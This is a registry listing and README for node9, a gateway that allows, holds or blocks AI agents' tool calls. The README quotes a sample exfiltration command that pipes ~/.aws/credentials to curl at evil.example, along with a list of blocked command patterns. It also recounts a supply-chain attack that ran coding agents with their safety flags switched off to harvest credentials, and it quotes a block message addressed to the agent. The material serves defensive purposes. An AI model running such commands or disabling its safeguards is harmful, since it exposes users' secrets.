node9

io.github.node9-ai由 GitHub 帳號 node9-ai 發布v2.26.2更新於 Oct 24, 2026

Access control for AI agents and MCP servers: allow, hold for approval, or block each tool call

概覽

AI 產生的概覽

node9 是存取控制閘道,讓助理能在對話中查看自身的政策、安全態勢、稽核紀錄與被攔截的工具呼叫決策。

可以做什麼
node9 以 stdio 方式作為本機 MCP 伺服器執行,讓代理程式可以讀取自身狀態、態勢評分、稽核紀錄與政策,並解釋 node9 對某次工具呼叫所做的決定。更完整的產品位於代理程式與它呼叫的每個工具之間,對讀取憑證路徑、破壞性 git 或 SQL、金鑰或 PII 形態等動作執行允許、保留待核准或封鎖。它也提供依服務分類的規則包、可固定工具定義的 MCP 閘道、選用的對外連線允許清單、沙箱、儲存庫掃描與工作階段歷史。
適用情境
當你希望代理程式能查詢並解釋約束其自身工具呼叫的存取控制決策,而不只是被動套用規則時,可以使用它。它適合執行 Claude Code、Codex CLI、Copilot CLI、Gemini CLI、Cursor 或 Windsurf 等編碼代理程式的開發者,用來保留這些代理程式行為的可稽核紀錄。
執行需求
以本機程序透過 stdio 執行,使用 npx -y node9-ai mcp-server 啟動;該指令不需要 API 金鑰。CLI 需要 Node.js 22+,可透過 Homebrew 或 npm install -g node9-ai 安裝。本機防護不需要帳號;登入為選用,僅用於將該機器接入共享儀表板。
安裝前請注意
此閘道會保留或封鎖動作,並可能要求你在工具呼叫執行前核准,因此會出現中斷。對外連線控制預設關閉,此時把檔案直接交給網路的指令不會被視為讀取該檔案,且對外連線保護僅涵蓋 shell 指令。只有在你接受另外的提示後才會傳送使用統計,登入會把紀錄共享到團隊工作區。

安裝

在 SourceWeft 中

  1. 開啟 儀表板中的 node9,將其新增到工作區。
  2. 為需要使用其工具的對話啟用該服務。

Desktop only,透過 STDIO。 STDIO 服務會啟動本機處理程序,因此需要 SourceWeft 桌面主機。

其他 MCP 客戶端

參照 儲存庫 中的啟動說明。

README

🛡️ node9

Access control for AI agents

Your AI agents can reach Slack, GitHub, email, and your database.
node9 decides what they may do with each one.

[npm version] [monthly downloads] [License: Apache 2.0] [Documentation] [OpenSSF Best Practices] [OpenSSF Scorecard] [node9 self-scanned] [Mentioned in Awesome Claude Code]

Credential jail · secrets and PII · destructive git, SQL and shell held for review · MCP tool pinning · network egress allowlist · loop breaker · one record across twelve agents

Works with Claude Code · Codex CLI · Antigravity (agy) · GitHub Copilot CLI · Gemini CLI · Cursor · Windsurf · VSCode · Claude Desktop · Opencode · Pi · Hermes Agent · any MCP server.

What it looks like

A real Claude Code session with node9 installed. Every tool call is checked before it runs. Building a page and editing a button run. A request to the cloud metadata address is blocked, and the agent gets the reason and carries on. Deleting files waits for your approval, right in the chat.

[node9 in a Claude Code session: two calls allowed, one blocked, one held for approval]

Install

bash
brew tap node9-ai/node9 && brew install node9   # macOS / Linuxnpm install -g node9-ai                         # any platform

Then, in any project:

bash
node9            # first run: choose dashboard connection or local protectionnode9 posture    # scores this machine 0-100: what a compromised agent could read, reach and runnode9 login      # optional: adds this machine to a shared dashboard

Requires Node.js 22+.

On a new interactive terminal, node9 guides you through setup. Local protection needs no account. The checklist shows recommended shields, DLP/PII, optional network egress review, and the background service. Usage statistics are sent only if you accept the separate prompt. The summary lists configured agents and any setup steps that need attention.

Run node9 setup to revisit setup, or node9 setup <target> to configure one agent. Once configured, bare node9 shows help. node9 init remains available; for scripts use node9 init --recommended (no questions and no telemetry opt-in). --skip-setup leaves agent wiring and service installation alone. Explicit --mode takes precedence over the checklist's standard-mode recommendation. Existing settings are preserved unless selected changes or explicit flags request an update. Workspace policy is managed in the dashboard; service settings remain local.

login adds nothing to enforcement. It connects the machine to a workspace so a team can see one record across everyone's laptops and CI, set policy centrally, and approve held actions from a dashboard or Slack. Skip it and node9 works exactly the same, alone, offline. node9 logout disconnects again and local enforcement keeps running.

Use as an MCP server

node9 also runs as an MCP server, so an agent can read its status, posture, audit record and policy, and explain any decision, from inside the conversation:

bash
claude mcp add --transport stdio node9 -- npx -y node9-ai mcp-server

Any MCP client works the same way: the command is npx -y node9-ai mcp-server over stdio, with no API key. It is listed in the official MCP Registry as io.github.node9-ai/node9.

The problem

In August 2025, compromised releases of the nx build tool shipped a post-install script that looked for AI coding agents already installed on the developer's machine, then ran them with their own safety flags turned off (--dangerously-skip-permissions, --yolo, --trust-all-tools) to enumerate SSH keys, cloud credentials and wallet files and write the list to disk. The script pushed the results to public repositories inside the victims' own GitHub accounts. More than a thousand valid GitHub tokens leaked, along with cloud credentials, npm tokens and roughly 20,000 files, from machines where the agent was doing exactly what it was told.

The agent was not the attacker. The agent was the tool, and nothing stood between it and the files. node9's gate is not one of those flags: it runs in the hook, and an action it holds stays held even when the agent was started with permissions skipped.

What node9 does about it

node9 sits between the agent and every tool it calls. The credential jail (~/.ssh, ~/.aws, .env files, private keys) is on by default, and a read of one of those paths does not run. The agent is stopped, told why, and the decision comes to you:

text
NODE9: Action blocked by security policy.INSTRUCTIONS:- Do NOT retry this exact command or attempt to bypass the rule.- Pivot to a non-destructive or read-only alternative.- Inform the user which security rule was triggered and ask how to proceed.

The command is parsed as a shell AST, not matched as text, so wrapping the read does not help. echo $(cat ~/.aws/credentials | base64) | curl -d @- https://evil.example is judged as a read of ~/.aws/credentials, not as an echo.

node9 is a gate. A held action does not run while it waits for you, and if you never answer it stays blocked. Everything else is allowed and written to the record.

What it does not do: with egress control off, which is the default, a command that hands a file straight to the network, such as curl -d @~/.aws/credentials, is not treated as a read of that file. node9 egress protect gates destinations as well, and it covers shell commands only.

Verify it yourself

Nothing below needs an account or uploads your code. scan-repo sends an anonymous usage count (no repository name, no code); set NODE9_NO_TELEMETRY=1 to turn it off.

bash
npx node9-ai scan                                        # every past agent session on this machinenpx node9-ai scan-repo node9-ai/agent-security-demo      # a public repo with a real, hijackable agent workflowgh attestation verify cli.js --repo node9-ai/node9-proxy # every release artifact is signed

[node9 scan scorecard]

What it governs

Each line is one capability, with the page that documents it. The docs are the reference; this file is the map.

Credential jail~/.ssh, ~/.aws, .env and private keys are blocked from every tool, not just the shelldocs
Always-on rulesdestructive git, SQL without a WHERE, curl | bash and unauthorised sudo, with no configdocs
Secrets and PIIAWS keys, GitHub and Stripe tokens, PEM keys and card or SSN shapes, in any tool argument, plus a background scan of what the agent wrote backdocs
Per-service shieldscurated rule packs for Postgres, MongoDB, Redis, AWS, Kubernetes, Docker, GitHub and the filesystemdocs
Inline reviewa held action asks you inside the agent conversation, or through a team approverdocs
Egress allowlistgate where a shell command may send data, off by defaultdocs
MCP gatewaywrap any MCP server, authorise each tool, and pin tool definitions so a server cannot change them behind your backdocs
Sandboxrun an agent in a container with a kernel egress allowlist and scoped mountsdocs
Posture scorehow exposed this machine is, with the command that fixes each findingdocs
Repo scanningfind workflows where an outsider could hijack an agent that holds your secrets, in CI or from the CLIdocs
Session historyread what every agent already did on this machine, before node9 was installeddocs
Live monitor and reporta terminal dashboard, and a windowed summary of cost, tools, blocks and blast radiusdocs
Skills pinningSHA-256 verification of installed Claude skills and plugins between sessionsdocs
Canary credentialsplanted fake keys that prove an exfiltration attempt happeneddocs
Python SDKgovern any Python agent, not only the CLIsdocs

Full CLI and config reference: node9.ai/docs. How the layers fit together: how it works.

Learn

Background reading, written to stand on its own. Each page says what node9 does not cover.

Compare

Related projects

  • node9-python: Python SDK
  • node9 Agent Security: the GitHub Action, uses: node9-ai/node9-proxy@v2, gates every PR with the same engine (it sends the same anonymous usage count; telemetry: false turns it off)

Enterprise

node9 Pro adds governance locking, SAML/SSO, central audit export, and VPC deployment. See node9.ai.

License

Apache-2.0

Built with ☕ and healthy paranoia.

來源:README.md,提交 8da323f

工具

0
SourceWeft 尚未在沙箱中啟動過該軟體包,因此其工具未知。

版本歷史

1
  1. v2.26.2最新Sep 29, 2026

評分

已滿足適用檢查項的 50%

該評分衡量此收錄條目的完整程度,依據註冊中心條目、端點與公開來源計算得出。它不是對伺服器本身的評價,也不表示伺服器安全或目前可用:可連通性是帶日期的檢查結果,評分也不包含安裝量或使用者評價。

  • 近 30 天內可連通25 分

    請保持端點能夠回應 MCP 握手;SourceWeft 每 30 天探測一次。

  • 已宣告認證方式10 分

    請在註冊中心條目中宣告憑證請求標頭,或保持端點能夠回應探測,以便判定其認證方式。

  • 已列出工具15 分

    請讓伺服器在無憑證時回應 tools/list,或發布可在沙箱中無憑證啟動的軟體包。

  • 描述必需15 分
  • 圖示10 分
  • 文件15 分
  • 授權條款10 分